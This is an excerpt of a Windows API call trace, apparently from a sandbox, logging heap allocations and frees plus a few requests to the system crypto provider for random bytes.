	[0030.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8b38 | out: hHeap=0x580000) returned 1
	[0030.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8bc8 | out: hHeap=0x580000) returned 1
	[0030.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8c58 | out: hHeap=0x580000) returned 1
	[0030.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8ce8 | out: hHeap=0x580000) returned 1
	[0030.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8d78 | out: hHeap=0x580000) returned 1
	[0030.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8e08 | out: hHeap=0x580000) returned 1
	[0030.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8e98 | out: hHeap=0x580000) returned 1
	[0030.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0030.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8fb8 | out: hHeap=0x580000) returned 1
	[0030.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9048 | out: hHeap=0x580000) returned 1
	[0030.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0030.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba730 | out: hHeap=0x580000) returned 1
	[0030.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596f48 | out: hHeap=0x580000) returned 1
	[0030.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b6c38 | out: hHeap=0x580000) returned 1
	[0030.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9168 | out: hHeap=0x580000) returned 1
	[0030.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba858 | out: hHeap=0x580000) returned 1
	[0030.756] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.757] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.757] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.757] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.758] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.758] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.758] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.759] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.759] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.759] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.759] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.759] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.760] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x596f48
	[0030.760] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5ba730
	[0030.760] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5ba7b8
	[0030.760] CryptAcquireContextW (in: phProv=0x39d41c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d41c*=0x5b6c38) returned 1
	[0030.760] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d430 | out: pbBuffer=0x39d430) returned 1
	[0030.760] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.760] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9168
	[0030.761] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba7b8 | out: hHeap=0x580000) returned 1
	[0030.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b90d8
	[0030.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x108) returned 0x5ba858
	[0030.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x4) returned 0x596fd0
	[0030.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0030.761] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baa88
	[0030.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5ba7b8
	[0030.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10c) returned 0x5b6c38
	[0030.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xc) returned 0x58efc0
	[0030.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9048
	[0030.761] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba7b8 | out: hHeap=0x580000) returned 1
	[0030.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5ba970
	[0030.761] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9048 | out: hHeap=0x580000) returned 1
	[0030.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fe0
	[0030.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xc) returned 0x58efd8
	[0030.761] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.761] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fe0 | out: hHeap=0x580000) returned 1
	[0030.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x88) returned 0x5b9048
	[0030.761] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x58efd8 | out: hHeap=0x580000) returned 1
	[0030.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0030.761] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9048 | out: hHeap=0x580000) returned 1
	[0030.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.761] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.761] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.761] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.761] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.761] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.761] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.761] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.761] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.763] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.763] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.763] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.763] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.763] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.763] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.763] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.763] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.763] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.763] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.763] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.763] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.763] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.763] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.763] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baa88 | out: hHeap=0x580000) returned 1
	[0030.763] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba970 | out: hHeap=0x580000) returned 1
	[0030.763] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b6c38 | out: hHeap=0x580000) returned 1
	[0030.763] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0030.763] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x58efc0 | out: hHeap=0x580000) returned 1
	[0030.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9048
	[0030.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8fb8
	[0030.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8f28
	[0030.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8e98
	[0030.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8e08
	[0030.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8d78
	[0030.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8ce8
	[0030.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8c58
	[0030.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8bc8
	[0030.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8b38
	[0030.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8aa8
	[0030.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8a18
	[0030.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8988
	[0030.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b88f8
	[0030.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8868
	[0030.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b87d8
	[0030.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8748
	[0030.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b91f8
	[0030.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9288
	[0030.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9318
	[0030.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b93a8
	[0030.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9438
	[0030.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b94c8
	[0030.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9558
	[0030.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b95e8
	[0030.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9678
	[0030.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9708
	[0030.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9798
	[0030.765] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9828
	[0030.765] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b98b8
	[0030.765] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9948
	[0030.765] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b99d8
	[0030.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9048 | out: hHeap=0x580000) returned 1
	[0030.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8fb8 | out: hHeap=0x580000) returned 1
	[0030.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0030.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8e98 | out: hHeap=0x580000) returned 1
	[0030.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8e08 | out: hHeap=0x580000) returned 1
	[0030.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8d78 | out: hHeap=0x580000) returned 1
	[0030.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8ce8 | out: hHeap=0x580000) returned 1
	[0030.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8c58 | out: hHeap=0x580000) returned 1
	[0030.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8bc8 | out: hHeap=0x580000) returned 1
	[0030.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8b38 | out: hHeap=0x580000) returned 1
	[0030.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8aa8 | out: hHeap=0x580000) returned 1
	[0030.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8a18 | out: hHeap=0x580000) returned 1
	[0030.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8988 | out: hHeap=0x580000) returned 1
	[0030.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b88f8 | out: hHeap=0x580000) returned 1
	[0030.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8868 | out: hHeap=0x580000) returned 1
	[0030.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b87d8 | out: hHeap=0x580000) returned 1
	[0030.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8748 | out: hHeap=0x580000) returned 1
	[0030.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b91f8 | out: hHeap=0x580000) returned 1
	[0030.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9288 | out: hHeap=0x580000) returned 1
	[0030.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9318 | out: hHeap=0x580000) returned 1
	[0030.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b93a8 | out: hHeap=0x580000) returned 1
	[0030.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9438 | out: hHeap=0x580000) returned 1
	[0030.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b94c8 | out: hHeap=0x580000) returned 1
	[0030.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9558 | out: hHeap=0x580000) returned 1
	[0030.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b95e8 | out: hHeap=0x580000) returned 1
	[0030.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9678 | out: hHeap=0x580000) returned 1
	[0030.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9708 | out: hHeap=0x580000) returned 1
	[0030.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9798 | out: hHeap=0x580000) returned 1
	[0030.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9828 | out: hHeap=0x580000) returned 1
	[0030.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b98b8 | out: hHeap=0x580000) returned 1
	[0030.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9948 | out: hHeap=0x580000) returned 1
	[0030.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b99d8 | out: hHeap=0x580000) returned 1
	[0030.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0030.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba858 | out: hHeap=0x580000) returned 1
	[0030.768] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5b6c38
	[0030.768] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5bc840
	[0030.768] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5ba7b8
	[0030.769] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x108) returned 0x5ba858
	[0030.769] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.769] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xc) returned 0x58efc0
	[0030.769] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0030.769] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc840 | out: hHeap=0x580000) returned 1
	[0030.769] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b90d8
	[0030.769] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba7b8 | out: hHeap=0x580000) returned 1
	[0030.769] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5ba970
	[0030.769] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0030.769] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fe0
	[0030.769] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xc) returned 0x58efd8
	[0030.769] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.769] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fe0 | out: hHeap=0x580000) returned 1
	[0030.769] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x88) returned 0x5b90d8
	[0030.769] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x58efd8 | out: hHeap=0x580000) returned 1
	[0030.769] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baa88
	[0030.769] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0030.769] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.769] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.769] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.769] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.769] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.769] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.769] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.769] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.769] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.769] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.769] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.769] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
